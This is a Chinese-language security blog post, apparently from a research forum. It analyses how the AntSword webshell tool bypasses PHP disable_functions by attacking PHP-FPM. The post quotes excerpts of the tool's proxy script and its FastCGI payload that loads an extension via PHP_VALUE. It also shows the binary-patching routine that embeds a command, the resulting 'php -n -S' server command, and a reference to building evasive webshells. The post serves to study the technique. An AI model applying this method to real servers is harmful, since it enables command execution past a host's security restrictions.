蚁剑更新了利用PHP-FPM实现bypass disable_functions,学习一波

文中提到我(@ttttmr)的是这个,我想的是可以做免杀大小马,看Fastcgi Client放在哪一边了(放大马js里...)

不了解的同学可以先看以下文章

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

浅析php-fpm的攻击方式

PHP 连接方式&攻击PHP-FPM&*CTF echohub WP

实战:2019 0ctf final Web Writeup(一)

其中*CTF echohub是利用不同ini配置bypass的,而0ctf wallbreaker_not_very_hard是通过传PHP_ADMIN_VALUE,引入so库实现的

探索

基于蚁剑的FastCGI/PHP-FPM模式和AntSword-Labs 5环境

搭环境复现一遍蚁剑disable_functions肯定是少不了的,没有什么坑,就不多写了

很明显的是蚁剑在服务器上传了1个so库,和一个.antproxy.php

上服务器先看下.antproxy.php

<?php
        set_time_limit(120);
        $aAccess = curl_init();
        curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:60049/index.php?".$_SERVER['QUERY_STRING']);
...

正如文件名,基本上就是代理向127.0.0.1:60049index.php发送请求,60049居然还有Web,看下是什么东西

Docker中没有ss或者netstat,需要自己装
apt update && apt install iproute

ss看不到(为什么看不到?有师傅知道吗)

ps可以

需要apt install procps

/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html

看来是起了一个新的 PHP Server,-n就是不使用php.ini,从而实现了 bypass disable_functions

大致推测出是利用之前上传的so库实现的命令执行,然后跑了个 PHP Server

下面看下蚁剑干了什么,仓库在这里

主要代码在core/php_fpm/index.js里了

启动PHP Server的代码,然后生成ext传到服务器上

let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
...
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);

https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js#L168

构造攻击PHP-FPM的Payload,加载扩展库

var payload = `${FastCgiClient()};
    $content="";
    $client = new Client('${fpm_host}',${fpm_port});
    ...
    'PHP_VALUE' => 'extension=${p}',
    'PHP_ADMIN_VALUE' => 'extension=${p}',

https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js#L197

触发Payload后,就会执行启动一个新的PHP Server

后续shell都通过.antproxy.php代理用60049的PHP解析,也就没有disable_functions了

ext分析

差不多了解了是如何实现的,剩下的一点疑点就是这个扩展已经能够执行命令了,为什么还要费这么大动静,起一个新的PHP,找到了之前Medicean大佬的disable_functions文章,PHP Server和扩展的源头

https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg

看代码里是这样构造的

// 生成扩展
  generateExt(cmd) {
    let self = this;
    let fileBuff = fs.readFileSync(self.ext_path);
    let start = 0, end = 0;
    switch (self.ext_name) {
      case 'ant_x86.so':
        start = 275;
        end = 504;
        break;
      case 'ant_x64.so':
      ...
      case 'ant_x86.dll':
        start = 1544;
        end = 1683;
        break;
      ...
    }
    if(cmd.length > (end - start)) {
      return
    }
    fileBuff[end] = 0;
    fileBuff.write("                    ", start);
    fileBuff.write(cmd, start);
    return fileBuff;
  }

直接对二进制数据操作,在start到end中填入cmd(就是前面说到的命令)

找了一波没找到扩展源码,只能自己逆一下了,因为是Windows就选了x86的Dll

如此简单...system执行命令

二进制的角度看就是从[开始到]里面填命令

十分巧妙的实现了“动态”扩展,而且很通用

其他

以后Webshell执行命令方便多了,但是感觉再起一个PHP Server动静实在太大了

倒是完全可以单纯用扩展实现,但需要根据版本定制,不知道能不能有更通用的实现5.x7.x

https://github.com/phith0n/arbitrary-php-extension

https://micropoor.blogspot.com/2017/12/php.html

更新作者回复

可以可以,分析的没毛病。另外解答一下你提到的扩展问题,已经有一个ant_php_extensions项目了,扩展里定义了antsystem函数,核心里已经加进去了这个函数,你可以试一下。为什么不用扩展呢,上次的文章里已经提了一下,PHP在加载扩展的时候,首先会检查build的版本号,而且强制了小版本必须一致,所以你需要针对每个小版本编译一份扩展,并且在上传的时候判断一次,就比较麻烦了。另外,这个so的源码,就是你用IDA反编译出来的样子,直接用汇编写的,所以体积非常小

点击收藏 | 4 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖